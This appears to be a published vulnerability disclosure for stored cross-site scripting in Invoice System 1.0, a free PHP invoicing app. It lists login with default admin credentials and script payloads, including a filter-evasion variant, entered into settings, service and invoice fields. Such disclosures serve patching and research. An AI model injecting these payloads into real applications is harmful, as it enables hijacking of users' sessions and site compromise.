# Date: 12 July 2021
# Exploit Author: Subhadip Nag (mrl0s3r)
# Vendor Homepage: https://www.sourcecodester.com/
# Software Link: https://www.sourcecodester.com/php/14858/invoice-system-using-phpoop-free-source-code.html
# Tested on: Server: XAMPP
# Description #
Invoice System 1.0 is vulnerable to 'Multiple 'stored cross site
scripting (xss) in the Settings option because of insufficient user
supplied data.
When anyone visits any other option
like(Dashboard,Invoice,Category,Service,Product and also Settings
option, our payload will respond as well, and when anyone again
Login as Admin the payload works the same as well.
# Proof of Concept (PoC) : Exploit #
1) Goto: http://localhost/simple_invoice/admin/login.php
2) Login: Login as a Admin for given credentials: admin |
admin123
3) Goto: Settings option
4) In the System Name & Short Name, Enter the payload:
<script>+-+-1-+-+alert(1)</script>
5) Click Update
6) our XSS attack fired and Stored
7) Wherever we are clicked in any options, noticed that our Payload
responding us
8) Goto: http://localhost/simple_invoice/admin/?page=service
9) Click Create New
10) In the Name and Description field, enter the payload:
<<SCRIPT>alert("XSS");//<</SCRIPT>
11) Our XSS attack Successful
12) Goto:
http://localhost/simple_invoice/admin/?page=invoice
13) Click Create New
14) In the Customer Name, Unit, Remarks, enter the payload:
<script>alert(1)</script>
15) Our XSS attack Successful
# PoC image
1) https://ibb.co/JpYdZ4F
2) https://ibb.co/brm00dF
3) https://ibb.co/3crYLSZ
4) https://ibb.co/N9m6fy0
5) https://ibb.co/HGNSJDN
6) https://ibb.co/7tyFY1P
7) https://ibb.co/gZ0BvjB
8) https://ibb.co/2S9J6Xn
